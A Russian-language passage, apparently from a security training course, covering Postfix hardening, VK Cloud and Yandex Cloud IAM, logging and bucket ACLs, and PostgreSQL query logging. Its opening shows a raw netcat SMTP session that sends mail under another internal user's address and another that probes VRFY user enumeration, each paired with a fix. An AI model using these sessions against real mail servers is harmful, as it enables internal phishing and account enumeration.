Особенность же внутренней уязвимости заключается в том, что спам фильтры могут игнорировать проверку сообщений, присланных из частной локальной сети (10.0.0.0/8, 192.168.0.0/16 и т.п.) и считать их доверенными. Это может игнорироваться спам фильтрами. В итоге любой пользователь в локальной сети, имеющий доступ до почтового сервера по протоколу SMTP (tcp/25), может от имени любого другого пользователя делать внутренние рассылки. Фишинг письма, разосланные таким образом имеют огромный шанс на успех.

Пример проверки уязвимости: 

# nc -nv 10.20.30.40 25
Connection to 10.20.30.40 port 25 [tcp/*] succeeded!
220 ******************************
HELO gmail.com
250 mail.example.com
mail from:user1@example.com
250 2.1.0 Ok
rcpt to:user2@example.com
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
123
test
.
250 2.0.0 Ok: queued as 4C069182B39
quit
221 2.0.0 Bye

Защититься от нее довольно просто, указав в параметре mynetworks только те сети, которые считаете доверенными. В общем случае, там должны быть указаны только loopback интерфейсы: 

postconf -e mynetworks="127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128"

User enumiration
Команда VRFY является сокращением от «проверить» (verify). Ее можно использовать, чтобы проверить, действителен ли адрес электронной почты на почтовом сервере. Это отлично подходит для устранения неполадок, но также позволяет другим получать информацию о существовании учетной записи и использовать эту информацию для спам рассылок, брутфорса и т.п. Команда VRFY обычно не требуется для доставки между двумя почтовыми серверами и ее следует отключать.

Пример проверки уязвимости: 

# nc -nv 10.10.99.20 25
Connection to 10.10.99.20 port 25 [tcp/*] succeeded!
220 ******************************
HELO gmail.com
250 mail.example.com
vrfy user1@example.com
502 5.5.1 VRFY command is disabled

Устранить такую уязвимость несложно: 

postconf -e disable_vrfy_command=yes

Облачная инфраструктура

Облачные сервисы — это услуги, предоставляемые через интернет, которые позволяют пользователям получать доступ к компьютерным ресурсам по запросу.

Существует несколько уровней облачных сервисов:

Процесс работы облачных сервисов обычно выглядит следующим образом:

С точки зрения информационной безопасности в облачных сервисах наиболее важны такие аспекты, как обеспечение безопасной аутентификации пользователей и управление их доступом к ресурсам.

VK Cloud

Применяются следующие меры и практики информационной безопасности:

Yandex Cloud

В Yandex Cloud можно выделить следующие меры и инструменты обеспечения безопасности:

Слои изоляции

Так реализовано объектное хранилище (Object Storage) в Yandex Cloud.

Изоляция управляющей сети провайдера от виртуальных сетей облачных пользователей - управляющая сеть условно делится на базовую (underlay) и наложенную (overlay). Underlay — это сегмент физической сети, реализующий связность между всеми физическими компонентами облачной платформы. Overlay — это набор виртуальных сетей, которые могут использоваться как провайдером (в служебных целях для работы сервисов платформы), так и конечными пользователями. Underlay в Yandex Cloud делится на два сегмента (VLAN): технологический, который используется для работы overlay, и служебный для передачи данных между аппаратными хостами (например, в случае живой миграции ВМ). Трафик в underlay и в служебные сегменты overlay строго контролируется ACL на Tor и граничных маршрутизаторах (border routers), аппаратными файрволлами на периметре физической сети, программными файрволами на хостах и security groups (встроенных межсетевых экранах на уровне виртуальной сети).

Изоляция трафика разных виртуальных сетей — трафик виртуальных сетей маркируется с помощью MPLS-меток и может быть обработан (передан) только виртуальной сущностью, подключенной к той же виртуальной сети.
Логическая изоляция на уровне учетных записей и прав доступа - управление ресурсами облака реализуется с помощью сервиса управления ресурсами и ролевой модели. Все ресурсы сосредоточены в логическом контейнере, который в Yandex Cloud называется организацией. Ресурсная модель позволяет назначать роли контейнерам различных уровней (организации, облаку, папке) или непосредственно ресурсам (например, ключу KMS). Сервис управления ресурсами позволяет предоставлять доступ только тем пользователям, которые числятся пользователями организации.

Разделение сущностей сontrol plane и data plane — сontrol plane управляет ресурсами сервиса через служебные ВМ, обеспечивая изоляцию с помощью учетных записей и их прав доступа. Data plane содержит ВМ с базами данных, обеспечивая отказоустойчивость. Компоненты сontrol plane не имеют доступа к данным пользователей, они лишь управляют рабочими компонентами, которые обрабатывают данные.

Изоляция сервисных компонент инфраструктуры провайдера от пользовательских ресурсов — фактически служебные компоненты платформы могут быть следующих видов: компоненты, реализующие внутренние сервисы, не доступные конечным пользователям; компоненты, реализующие доступный пользователям сontrol plane сервисов;
компоненты, обеспечивающие работу data plane слоя (например, ВМ, на которой размещена БД, предоставляемая клиенту в рамках управляемого сервиса). В зависимости от ситуации такие сервисные компоненты изолируются как на уровне физических хостов (размещаются на хостах, где нет пользовательской нагрузки. Пример — основные машины сервиса KMS), так и на уровне виртуальных сетей.

Identity and Access Management

Процесс управления идентичностью и доступом пользователей к ресурсам в информационной системе. Он включает в себя управление учетными записями пользователей, группами пользователей, ролями и разрешениями.

IAM обеспечивает безопасность информационных систем, управляя доступом к ресурсам на основе принципа наименьших привилегий (Least Privilege Principle), что означает, что пользователи получают только те права, которые необходимы для выполнения их задач. Это помогает предотвратить несанкционированный доступ и минимизировать риски для безопасности.

Роли пользователей

В общем случае в облачных сервисах можно выделить следующие категории доступа:

Администраторский доступ (Admin Access) Полный доступ ко всем аспектам и функциям облачного сервиса.
Возможность управлять пользователями, ресурсами, настройками безопасности и другими административными задачами.
Этот уровень доступа обычно предоставляется администраторам системы или IT-специалистам.
Пользовательский доступ (User Access) Доступ к основным функциям и ресурсам облачного сервиса для выполнения своих задач.
Обычно ограниченный доступ к административным функциям и настройкам.
Этот уровень доступа предоставляется конечным пользователям для работы с приложениями или данными.
Доступ разработчика (Developer Access) Доступ к инструментам разработки и API для создания, тестирования и развертывания приложений в облачном окружении.
Возможность управлять приложениями и интеграциями с другими сервисами.
Этот уровень доступа предоставляется разработчикам для создания и сопровождения приложений.
Ограниченный доступ (Restricted Access) Ограниченный доступ к определенным ресурсам или функциям в облачном сервисе.
Может включать доступ только для чтения, доступ к определенным файлам или приложениям, или другие ограничения.
Этот уровень доступа часто используется для предоставления временного или контролируемого доступа.
Гостевой доступ (Guest Access) Временный доступ для пользователей, которые не имеют постоянного аккаунта в облачном сервисе.
Обычно предоставляется для совместной работы или обмена информацией с внешними сторонами.
Может быть ограничен в функциональности и доступе к данным.

Примеры ролей пользователей в VK Cloud

В контексте VK Cloud важно упомянуть понятие Проект.
Проект — это структурная единица внутри облака, которая владеет ресурсами: виртуальными машинами, базами данных, кластерами Kubernetes и другими. При регистрации нового аккаунта в VK Cloud автоматически создается проект, в котором текущий пользователь зарегистрирован в роли владельца. Владелец проекта может создавать новые проекты и приглашать во все свои проекты пользователей, назначая им роли. Один и тот же пользователь может быть участником нескольких проектов и иметь в них в разные роли.

Роли для общего управления проектом

Специализированные роли

Каждая из ролей ниже предназначена для работы с одним из сервисов платформы. Этим ролям доступны: разрешения в их целевом сервисе; ряд разрешений в сопутствующих сервисах, без которых невозможна полноценная работа с целевым сервисом. У всех этих ролей отсутствует доступ к списку участников проекта и к информации о балансе. Все операции, доступные специализированным ролям, доступны также владельцу проекта, суперадминистратору и администратору проекта.

Матрицу разрешений можно посмотреть по ссылке.

Роли в Yandex Cloud

В Yandex Cloud существует 4 примитивные роли: admin, editor, viewer и auditor.
Примитивные роли в Yandex Cloud наследуют разрешения друг друга: например, в роль editor входят все разрешения роли viewer.

auditor

Роль auditor дает разрешения на чтение конфигурации и метаданных сервисов без возможности доступа к данным.

Роль auditor позволяет выполнять следующие операции:

viewer

Роль viewer дает разрешения на чтение к ресурсам.

Роль viewer включает все разрешения, которые дает роль auditor. В отличие от роли auditor, роль viewer предоставляет возможность доступа к данным сервиса в режиме чтения.

Роль viewer позволяет выполнять следующие операции:

editor

Роль editor дает разрешения на все операции для управления ресурсом, кроме назначения ролей другим пользователям.

Роль editor включает все разрешения, которые дает роль viewer.

Помимо них, роль editor позволяет выполнять следующие операции:

admin

Роль admin дает все разрешения для управления ресурсом, включая назначение ролей другим пользователям. Можно назначать любые роли за исключением resource-manager.clouds.owner (владелец ресурса)

Помимо ранее перечисленных операций, роль admin позволяет выполнять следующие операции:

В зависимости от сервисов, роли могут немного варьироваться, но в целом они сводятся к ранее перечисленным примитивным ролям. Подробное описание ролей относительно различных сервисов можно посмотреть по ссылке.

Логирование в облачных сервисах

События в аудитных логах Yandex Cloud относятся к различным уровням:

Основным инструментом сбора логов уровня Yandex Cloud является сервис Yandex Audit Trails. Сервис позволяет собирать аудитные логи о происходящих с ресурсами Yandex Cloud событиях и загружать эти логи в бакет Yandex Object Storage или лог-группу Cloud Logging для дальнейшего анализа или экспорта.

Для сбора метрик, анализа некоторых событий уровня Yandex Cloud и настройки оповещений рекомендуется использовать сервис Yandex Monitoring. С его помощью возможно отслеживать, например, резкое возрастание нагрузки на Compute Cloud, RPS сервиса Application Load Balancer, значительные изменения в статистике событий сервиса Identity and Access Management. Кроме того, Monitoring можно применять для мониторинга работоспособности самого сервиса Audit Trails и мониторинга событий безопасности.

Формат записей аудитного лога универсален для всех событий, события представляют собой JSON-объекты. Значения некоторых полей определяются ресурсом-источником и типом события.

Яндекс предоставляет справочник событий. Аудитные логи возможно экспортировать в лог-группу Cloud Logging и в SIEM-систему клиента для анализа информации о событиях и инцидентах.

Экспорт событий в SIEM

Решения для экспорта аудитных логов Yandex Cloud подготовлены для следующих SIEM-систем:

Для настройки экспорта в любые SIEM подходят утилиты GeeseFS или s3fs. Она позволяет смонтировать бакет Yandex Object Storage как локальный диск виртуальной машины. Далее на ВМ необходимо установить коннектор для SIEM и настроить вычитывание JSON-файлов из бакета.

Реагирование на события

C помощью Yandex Cloud Functions можно настроить оповещения о событиях Audit Trails, а так же автоматическое реагирование на вредоносные действия, например удаление опасных правил или прав доступа.

Уровень ОС
При использовании облачных сервисов по модели IaaS и использовании групп узлов Kubernetes клиент отвечает за безопасность ОС и выполняет сбор событий уровня ОС самостоятельно. Для сбора стандартных событий, которые генерирует ОС, и их экспорта в SIEM-систему клиента существуют бесплатные инструменты, такие как:

Osquery;
Filebeat (ELK);
Wazuh.
Дополнительные опции генерации событий возможно реализовать с помощью утилиты Auditd для Linux, Sysmon для Windows.

Системные метрики Linux (процессор, память, диск) можно собирать с помощью компонента Unified Agent сервиса Monitoring.

Также события ОС возможно экспортировать в Cloud Logging с помощью плагина Fluent bit

Для описания событий, которые нужно искать в логах, Яндекс рекомендует использовать формат Sigma, поддерживаемый популярными SIEM-системами. Репозиторий Sigma содержит библиотеку событий, описанных в этом формате.

Уровень приложений
Сбор событий уровня приложений, развернутых на ресурсах Compute Cloud, клиент может выполнять самостоятельно. Например, записывать логи приложения в файл и передавать их в SIEM-систему с помощью инструментов, перечисленных в подразделе Уровень ОС выше.

Уровень сети
Запись событий о сетевом трафике VPC (Flow Logs) на текущий момент может выполняться только средствами клиента. Для сбора и передачи событий могут использоваться решения из Yandex Cloud Marketplace (например, NGFW, IDS/IPS, сетевые продукты) либо бесплатное ПО.

Управление доступом в Yandex Cloud

Все операции в Yandex Cloud предварительно отправляются на проверку в IAM:

Если какого-то из разрешений у пользователя нет, операция не будет выполнена, и Yandex Cloud сообщит об ошибке.
Если все разрешения имеются, то IAM сообщает об этом сервису.
Сервис создает новый диск.
Управление доступом в Yandex Cloud построено на политике Role Based Access Control
 (RBAC). Чтобы предоставить доступ к ресурсу, вы указываете, кому и какие роли назначены на ресурс.

Чтобы назначить роль, вы выбираете ресурс, выбираете роль и описываете субъект, которому назначается роль. Таким образом вы привязываете права доступа к ресурсу. Вы также можете назначить роль на родительский ресурс, от которого наследуются права доступа, например назначить роль на каталог или облако.

Ресурсы, на которые можно назначать роли
Назначать роли можно на облако, каталог и другие ресурсы из списка. Если нужно предоставить доступ к ресурсу, которого нет в списке, например к кластеру Yandex Managed Service for PostgreSQL, назначьте роль на родительский ресурс, от которого наследуются права доступа. У кластеров Managed Service for PostgreSQL права доступа наследуются от каталога.

Роль
Назначать роли на ресурс могут пользователи с ролью администратора на этот ресурс, а также владельцы облака, которому принадлежит ресурс.

Каждая роль состоит из набора разрешений, описывающих допустимые операции с ресурсом. Пользователь может назначить роли только с теми разрешениями, которые имеются у него самого. Например, чтобы назначить роль владельца облака, пользователь должен сам обладать этой ролью, а роли администратора для этого недостаточно.

Субъект, которому назначается роль
Роли назначаются субъектам. Существуют следующие типы субъектов:

Наследование прав доступа
Если у ресурса есть дочерние ресурсы, то все разрешения от родительского ресурса будут унаследованы дочерними ресурсами. Например, если вы назначите пользователю роль на каталог, в котором лежит виртуальная машина, то все разрешения этой роли будут действовать и для виртуальной машины.

Если на дочерний ресурс тоже назначены роли, то список разрешений на этот ресурс будет объединен со списком разрешений на родительский ресурс. Нельзя ограничить список разрешений, унаследованных от родительского ресурса.

Имперсонация
Имперсонацией называется выполнение пользователем действий с ресурсами облака от имени сервисного аккаунта, которому назначены необходимые права. Имперсонация чаще всего применяется, чтобы временно расширить права пользователя, не прибегая к генерации статических учетных данных.

Например, когда у пользователя нет прав на просмотр каталога, но на какое-то время они ему оказались нужны. Для этого администратор может назначить сервисному аккаунту роль на просмотр каталога, а пользователю назначить специальную роль iam.serviceAccounts.tokenCreator. В результате пользователь сможет от имени сервисного аккаунта просматривать ресурсы в каталоге или получить IAM-токен сервисного аккаунта. Пользователь не сможет изменить права доступа или удалить сервисный аккаунт. В нужный момент администратор может отозвать роль.

Управление доступом в VK Cloud

С помощью ACL.

ACL (Access Control List) позволяет контролировать, какие операции разрешены каким пользователям. ACL может стоять как и на уровне всего бакета, так и на уровне конкретного объекта. Установить и прочесть ACL можно через приведенные методы ниже. По умолчанию, создаваемый бакет или объект максимально ограничен в доступе — только владелец бакета/объекта может работать с ним. У остальных пользователей — запрет доступа. ACL указывается в XML формате, где в поле Owner ID нужно указать свой канонический идентификатор в системе VK Cloud. Получить его можно разными способами. Один из способов:

aws s3api list-buckets --query Owner.ID --output text --endpoint-url https://hb.vkcs.cloud

                  
Пример ACL, который дает те же права, что и по умолчанию (только владелец имеет полный доступ, никто больше): 

<?xml version="1.0" encoding="UTF-8"?>
<AccessControlPolicy xmlns="http://<имя_бакета>.hb.vkcs.cloud/images/01.jpg/">
  <Owner>
    <ID>fcd68908-6c76-42d1-968b-82ae2a5a251d</ID>
    <DisplayName>owner-display-name</DisplayName>
  </Owner>
  <AccessControlList>
    <Grant>
      <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xsi:type="Canonical User">
        <ID>fcd68908-6c76-42d1-968b-82ae2a5a251d</ID>
        <DisplayName>display-name</DisplayName>
      </Grantee>
      <Permission>FULL_CONTROL</Permission>
    </Grant>
  </AccessControlList>
</AccessControlPolicy>

Элемент <Owner> производит идентификацию владельца по каноническому идентификатору пользователя учетной записи VK Cloud.
Элемент <Grant> определяет идентификатор получателя для предоставляет разрешение.
Элемент <Permission> внутри <Grant> определяет тип доступа для получателя.
Базовый ACL, показанный выше в качестве примера, имеет один элемент <Grant>. Чтобы описать несколько получателей, то для каждого надо добавить свой элемент <Grant>.

При установке через HTTP заголовки, нужно использовать заголовки для выдачи специфичных для заголовка прав:

x-amz-grant-read — список получателей прав для READ.
x-amz-grant-write — список получателей прав для WRITE.
x-amz-grant-read-acp — список получателей прав для READ_ACP.
x-amz-grant-write-acp — список получателей прав для WRITE_ACP.
x-amz-grant-full-control — список получателей прав для FULL_CONTROL.
x-amz-acl — использование шаблонного ACL.
Выдача прав
Идентификаторов для выдачи прав может быть несколько типов:

Конкретный пользователь в VK Cloud. Для этого нужно знать его уникальный идентификатор.
Проект в VK Cloud. Для этого нужно знать уникальный идентификатор проекта.
Предварительно определенные группы. Список указан ниже.
Весь мир. Включая анонимный доступ. Любой, знающий полный адрес до объекта, имеет доступ.
Выданное право для идентификатора выше может быть одним или составлено из нескольких типов:

READ — только чтение, какие-либо изменения не разрешены.
WRITE — только запись, какие-либо чтения не разрешены. Включая удаление.
READ_ACP — чтение ACL, какие-либо изменения не разрешены.
WRITE_ACP — запись ACL, какие-либо чтения не разрешены. Включая удаление.
FULL_CONTROL — все, что перечислено выше, сразу.
Выдача прав по идентификатору пользователя
Идентификатор пользователя (он же известен как канонический ID/Canonical ID) — это уникальный идентификатор, состоящий из набора символов. Пример: fcd68908-6c76-42d1-968b-82ae2a5a251d. Формат не фиксирован, при работе с идентификатором пользователя какие-либо преобразования и привязки к формату идентификатора не рекомендуются.

Если используется установка через XML, то внутри <Grantee> надо указать тег <ID>.

Пример: <ID>fcd68908-6c76-42d1-968b-82ae2a5a251d</ID>

Если используется установка через HTTP заголовок, то в значении заголовка надо использовать ключ id.

Пример: id="fcd68908-6c76-42d1-968b-82ae2a5a251d".

Канонический ID пользователя учетной записи VK Cloud можно получить, прочитав ACL бакета или объекта, к которому учетная запись VK Cloud имеет права доступа. Когда отдельная учетная запись VK Cloud получает разрешения по запросу на Grant, в ACL добавляется запись гранта с каноническим ID пользователя учетной записи VK Cloud.

Выдача прав по идентификатору проекта
Если идентификатор пользователя неизвестен, но известен идентификатор проекта, то можно указать проект. При обработке запроса на установку ACL, система ищет идентификатор пользователя и сохраняет его в ACL. В результате ACL всегда будут содержать канонический ID пользователя для проекта, а не идентификатор проекта.

Если используется установка через XML, то внутри <Grantee> надо указать тег <EmailAddress>.

Пример: <EmailAddress>mcs2400549523</EmailAddress>

Если используется установка через HTTP заголовок, то в значении заголовка надо использовать ключ id.

Пример: emailAddress="mcs2400549523".

Получить свой идентификатор проекта можно в личном кабинете в области информации об учетной записи. Кнопка, расположенная рядом с идентификатором проекта, позволяет скопировать параметр для удобства.

Виды разрешений
В таблице перечислены наборы разрешений, которые Cloud Storage поддерживает в ACL. Набор разрешений ACL одинаков для ACL объекта и ACL бакета. Эти ACL предоставляют разрешения для определенных бакетов или операций с объектами. В таблице перечислены разрешения и описано, что они означают в контексте объектов и бакетов.

Разрешение

Применение к бакету

Применение к объекту

READ

HeadBucketGetBucketLifecycleGetBucketNotificationListObjectsListPartsListMultiparts

Позволяет получить содержимое объекта и его метаданные

WRITE

Позволяет создавать, удалять, перезаписывать любые объекты в бакете

Не применимо

READ_ACP

Позволяет читать ACL бакета: GetBucketAclGetBucketCors

Позволяет читать ACL объекта: GetObjectAcl

WRITE_ACP

Позволяет изменять ACL бакета

Позволяет изменять ACL объекта PutObjectAcl

FULL_CONTROL

Комбинирует права READ, WRITE, READ_ACP, WRITE_ACP для бакета

Комбинирует права READ, WRITE, READ_ACP, WRITE_ACP для объекта

Сопоставление разрешений ACL и разрешений политики доступа
ACL допускает только конечный набор разрешений по сравнению с количеством разрешений, которые можно установить в политике доступа. Каждое из этих разрешений позволяет выполнять одну или несколько операций Cloud Storage.

В следующей таблице показано, как каждое разрешение ACL сопоставляется с соответствующими разрешениями политики доступа. Как видно, политика доступа допускает больше разрешений, чем ACL. ACL используется в основном для предоставления базовых разрешений на чтение и запись, аналогично разрешениям файловой системы.

Разрешение ACL

Политика доступа для бакета

Политика доступа для объекта

READ

ListBucket,ListBucketMultipartUploads

GetObject

WRITE

PutObject,DeleteObject

Не применимо

READ_ACP

GetBucketAcl

GetObjectAcl

WRITE_ACP

PutBucketAcl

PutObjectAcl

FULL_CONTROL

Эквивалент предоставлению READ, WRITE,READ_ACP, и WRITE_ACP ACL разрешений

Эквивалент предоставлению READ, READ_ACP и WRITE_ACP ACL разрешений

Ключи состояния
При предоставлении разрешения политики доступа, можно использовать условные ключи, чтобы ограничить значение ACL для объекта с помощью политики бакета. Приведенные ниже контекстные ключи соответствуют спискам ACL. Эти контекстные ключи предназначены для указания использования определенного ACL в запросе:

s3 — доступ на чтение.
s3 — права записи.
s3 — доступ на чтение ACL бакета.
s3 — права на запись ACL бакета.
s3 — полный контроль.
s3 — использование шаблонного ACL.

Фиксированный ACL
Cloud Storage поддерживает набор предопределенных разрешений, известных как стандартные списки ACL. Каждый фиксированный ACL имеет предопределенный набор получателей и разрешений. В следующей таблице перечислены стандартные списки ACL и связанные с ними предопределенные разрешения.

Фиксированный ACL

Относится к

Разрешения добавлены в ACL

private

Бакет и объект

Владелец получает FULL_CONTROL. Больше ни у кого нет прав доступа (по умолчанию).

public-read

Бакет и объект

Владелец получает FULL_CONTROL. Группа AllUsers получает READ доступ.

public-read-write

Бакет и объект

Владелец получает FULL_CONTROL. Группа AllUsers получает READ и WRITE доступ.

aws-exec-read

Бакет и объект

Владелец получает FULL_CONTROL.

authenticated-read

Бакет и объект

Владелец получает FULL_CONTROL. Группа AuthenticatedUsers получает READ доступ.

bucket-owner-read

Объект

Владелец объекта получает FULL_CONTROL. Владелец бакета получает READ доступ. Если указать этот шаблонный ACL при создании бакета, Cloud Storage проигнорирует его.

bucket-owner-full-control

Объект

И владелец объекта, и владелец бакета получают FULL_CONTROL над объектом. Если указать этот фиксированный ACL при создании бакета, Cloud Storage проигнорирует его.

В запросе можно указать только один из этих фиксированных списков ACL.

В запросе указывается фиксированный ACL, используя заголовок запроса x-amz-acl. Когда Cloud Storage получает запрос со стандартным списком управления доступом в запросе, он добавляет предопределенные разрешения в список управления доступом ресурса.

Списки управления доступом (ACL)
Hotbox предоставляет возможность управлять доступом к контейнерам и объектам с помощью списка управления доступа - ACL. У каждого контейнера и объекта есть свой список доступа. Этот список определяет каким проектам или глобальным группам предоставляются права доступа и соответствующие права доступа. При получении запроса на ресурс сервис проверяет соответствующий ACL на наличие прав доступа у запрашивающего.

При создании контейнера или объекта сервис создает стандартный ACL, который предоставляет владельцу ресурса право полного контроля над этим ресурсом, и запрещает доступ остальным проектам и глобальным группам. Это показано в следующем примере ACL бакета (стандартный ACL объекта имеет ту же структуру).

1<?xml version="1.0" encoding="UTF-8"?>
2<AccessControlPolicy xmlns="http://BucketName.hb.vkcs.cloud/doc/2006-03-01/">
3  <Owner>
4    <ID>***Owner-Canonical-User-ID***</ID>
5    <DisplayName>owner-display-name</DisplayName>
6  </Owner>
7  <AccessControlList>
8    <Grant>
9      <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
10xsi:type="Canonical User">
11        <ID>***Owner-Canonical-User-ID***</ID>
12        <DisplayName>owner-display-name</DisplayName>
13      </Grantee>
14      <Permission>FULL_CONTROL</Permission>
15    </Grant>
16  </AccessControlList>
17</AccessControlPolicy>

                  
Блок Owner определяет владельца по каноническому идентификатору пользователя проекта и по домену.
Блок Grant определяет получателя прав (проект сервиса или глобальную группу) и предоставляемое право доступа.
Базовый ACL содержит один элемент Grant для владельца. Вы можете предоставлять права с помощью добавления элементов Grant, где каждый из них определяет получателя прав и соответствующее право доступа.

Получатель прав
Получателем прав может являться проект сервиса или одна из глобальных групп сервиса. Вы можете предоставлять права проекту сервиса при помощи адреса электронной почты (домена) или канонического идентификатора проекта. При этом если вы указываете адрес электронной почты (домен) в вашем запросе на права доступа, то сервис определяет канонический идентификатор пользователя для соответствующего проекта и добавляет его в ACL. В результате ACL всегда будут содержать канонический идентификатор пользователя для проекта сервиса, а не адрес электронной почты проекта (домен).

Глобальные группы сервиса
У сервиса существует набор предопределенных групп. При предоставлении группе прав доступа к проекту вы указываете один из наших URI вместо канонического идентификатора пользователя. Сервисом предоставляются нижеуказанные глобальные группы.

Группа Authenticated Users — группа авторизованных пользователей.
Данная группа представляет собой все проекты сервиса. Наличие права доступа к этой группе позволяет любому проекту сервиса получать доступ к ресурсу. Но в то же время все запросы должны быть подписаны (авторизованы).

Группа All Users — группа всех пользователей.
Наличие права доступа к этой группе позволяет всем получать доступ к ресурсу. Запросы могут быть подписанными (авторизованными) или неподписанными (анонимными). В неподписанных запросах отсутствует заголовок аутентификации Authentication в запросе.

Предоставляемые разрешения
Следующая таблица содержит набор разрешений, поддерживаемых сервисом в ACL. Необходимо отметить, что набор разрешений ACL один и тот же для объекта и контейнера (за исключением запрета права WRITE на объекте).Нижеследующие таблицы содержат разрешения и описывают их в контексте разрешений объекта и контейнера.

Разрешение

При предоставлении на контейнере

При предоставлении на объекте

READ

Позволяет получателю прав получить список объектов в контейнере.

Позволяет получателю прав прочитать данные объекта и его метаданные.

WRITE

Позволяет получателю прав создавать, переписывать и удалять любой объект в контейнере.

Неприменимо.

READ_ACP

Позволяет получателю прав прочитать ACL контейнера.

Позволяет получателю прав прочитать ACL объекта.

WRITE_ACP

Позволяет получателю прав записывать ACL для соответствующего контейнера.

Позволяет получателю прав записывать ACL для соответствующего объекта.

FULL_CONTROL

Дает получателю прав следующие разрешения на контейнер: READ, WRITE, READ_ACP и WRITE_ACP.

Дает получателю прав следующие разрешения на объект: READ, READ_ACP и WRITE_ACP.

Соответствие разрешений ACL и разрешений политики доступа

Каждое из прав доступа позволяет провести в сервисе одну или несколько операций. Следующая таблица показывает соответствие прав доступа и операций.

Разрешение ACL

Соответствующее разрешение политики доступа при предоставлении разрешения ACL на бакете

Соответствующее разрешение политики доступа при предоставлении разрешения ACL на объекте

READ

HeadBucketListMultipartsListObjectsListParts

GetObjectHeadObject

WRITE

AbortMultipartUploadCompliteMultipartUploadInitiateMultipartUploadUploadPartPutObjectDeleteObject

Неприменимо

READ_ACP

GetBucketAcl

GetObjectAcl

WRITE_ACP

PutBucketAcl

PutObjectAcl

FULL_CONTROL

Эквивалентно предоставлению следующих разрешений ACL: READ, WRITE, READ_ACP и WRITE_ACP.

Эквивалентно предоставлению следующих разрешений ACL: READ, READ_ACP и WRITE_ACP.

Связанный ACL
Сервис поддерживает набор предопределенных предоставлений разрешений — так называемых «готовых ACL». Каждый готовый ACL содержит предопределенный набор получателей прав и разрешений. Следующая таблица содержит набор готовых ACL и связанных с ними предопределенных предоставлений разрешений.

Связанный ACL

Область применения

Добавленные в ACL разрешения

private

Контейнер и объект

Владелец получает полные права (FULL_CONTROL). Остальные пользователи не получают прав доступа (по умолчанию).

public-read

Контейнер и объект

Владелец получает полные права (FULL_CONTROL). Группа всех пользователей Allusers получает право доступа на чтение (READ).

public-read-write

Контейнер и объект

Владелец получает полные права (FULL_CONTROL). Группа всех пользователей AllUsers получает права доступа на чтение (READ) и запись (WRITE). Как правило, не рекомендуется предоставлять данные разрешений на контейнер.

authenticated-read

Контейнер и объект

Владелец получает полные права (FULL_CONTROL). Группа авторизованных пользователей (AuthenticatedUsers) получает права доступа на чтение (READ).

bucket-owner-read

Объект

Владелец объекта получает полные права (FULL_CONTROL). Владелец бакета получает права на чтение (READ).

bucket-owner-full-control

Объект

Владелец объекта и владелец бакета получают полные права (FULL_CONTROL) на объект.

Можно указывать только один из этих связанных ACL в своем запросе — только при установлении ACL через заголовки.

Установка ACL
API-сервис позволяет вам установить ACL при создании бакета или объекта. Сервис также предоставляет API для возможности установки ACL на существующем бакете или объекте. Эти API дают возможность устанавливать ACL с помощью нижеуказанных способов.

Установка ACL с помощью заголовков запроса — при отправке запроса по созданию ресурса (бакета или объекта) вы устанавливаете ACL при помощи заголовков запроса. Данные заголовки позволяют вам указать или готовый ACL, или установить предоставления разрешений явным образом (однозначно определить получателя прав и разрешения).
Установка ACL с помощью тела запроса — при отправке запроса по установке ACL на существующем ресурсе вы можете установить ACL или в заголовке запроса, или в теле.

Blue team

Базы данных

CIS Benchmarks (CIS - Center for Internet Security) — это набор рекомендаций и стандартов безопасности информационных систем, разработанный организацией Center for Internet Security. Каждый мануал представляет собой набор наилучших практик и конфигураций для различных операционных систем, устройств и ПО.

Рекомендации по настройке могут различаться в зависимости от типа базы данных (например, PostgreSQL, MySQL, Microsoft SQL Server и т. д.) и версии базы данных. Но общие принципы и рекомендации по настройке обязательно включают в себя:

Логирование и мониторинг запросов в базах данных

Большинство современных СУБД предоставляют возможность вести журнал запросов, записывая все запросы, поступающие к базе данных. Помимо такого "внутреннего" логирования существуют системы мониторинга баз данных. Они могут непрерывно отслеживать активность баз данных, включая выполняемые запросы, количество обращений и нагрузку на систему. Примеры таких систем — Dynatrace, Datadog.

В данном курсе мы рассмотрим прежде всего возможности логирования внутри баз данных. На основании этих логов можно самостоятельно создавать правила SIEM для выявления несанкционированных или подозрительных операций.

Мониторинг запросов в PostgreSQL

Для мониторинга запросов в базах данных PostgreSQL можно использовать различные инструменты и методы. Ниже представлено несколько способов:

  1. Журналы PostgreSQL: PostgreSQL записывает информацию о выполненных запросах в журналы ошибок (log_error_verbosity) и журналы запросов (log_statement). Вы можете настроить эти параметры в конфигурационном файле PostgreSQL (например, postgresql.conf) и перезапустить сервер:

    log_statement = 'all' log_destination = 'stderr' logging_collector = on

    После настройки PostgreSQL будет записывать все SQL запросы в указанный в log_destination журнал.

  2. Утилита pg_stat_statements: это встроенный модуль PostgreSQL, который отслеживает статистику выполнения SQL запросов. Вы можете включить его в конфигурационном файле PostgreSQL и перезапустить сервер:

    shared_preload_libraries = 'pg_stat_statements' pg_stat_statements.max = 10000 pg_stat_statements.track = all

    Затем можно выполнить запросы к представлению pg_stat_statements для получения информации о наиболее часто выполняемых запросах, их времени выполнения и других метриках.

Пример SQL запроса для просмотра наиболее часто выполняемых запросов и их времени выполнения с использованием pg_stat_statements:

SELECT query, total_time, calls, rows FROM pg_stat_statements ORDER BY total_time DESC LIMIT 10;

Этот запрос покажет 10 наиболее ресурсоемких запросов по времени выполнения, их количество вызовов и количество обработанных строк.

Настройка логирования в PostgreSQL

Настройки логирования возможно изменить в файле postgresql.conf, который обычно располагается в каталоге postgresql.

Как это сделать:

  1. Настройте параметры логирования:

    В файле postgresql.conf найдите и отредактируйте следующие параметры:

    • log_statement = 'all': параметр определяет, какие SQL-запросы будут записываться в журнал. Установите его значение на all, чтобы записывать все SQL-запросы.

    • log_connections = on: параметр указывает, нужно ли записывать информацию о подключениях к базе данных в журнал. Установите его значение на on, чтобы записывать информацию о подключениях.

    • log_disconnections = on: параметр указывает, нужно ли записывать информацию о отключениях от базы данных в журнал. Установите его значение на on, чтобы записывать информацию об отключениях.

    • log_duration = on: параметр указывает, нужно ли записывать информацию о продолжительности выполнения SQL-запросов в журнал. Установите его значение на on, чтобы записывать информацию о продолжительности выполнения запросов.

  2. Перезапустите PostgreSQL:

    После внесения изменений в файл postgresql.conf перезапустите PostgreSQL для применения новых настроек:

    sudo service postgresql restart

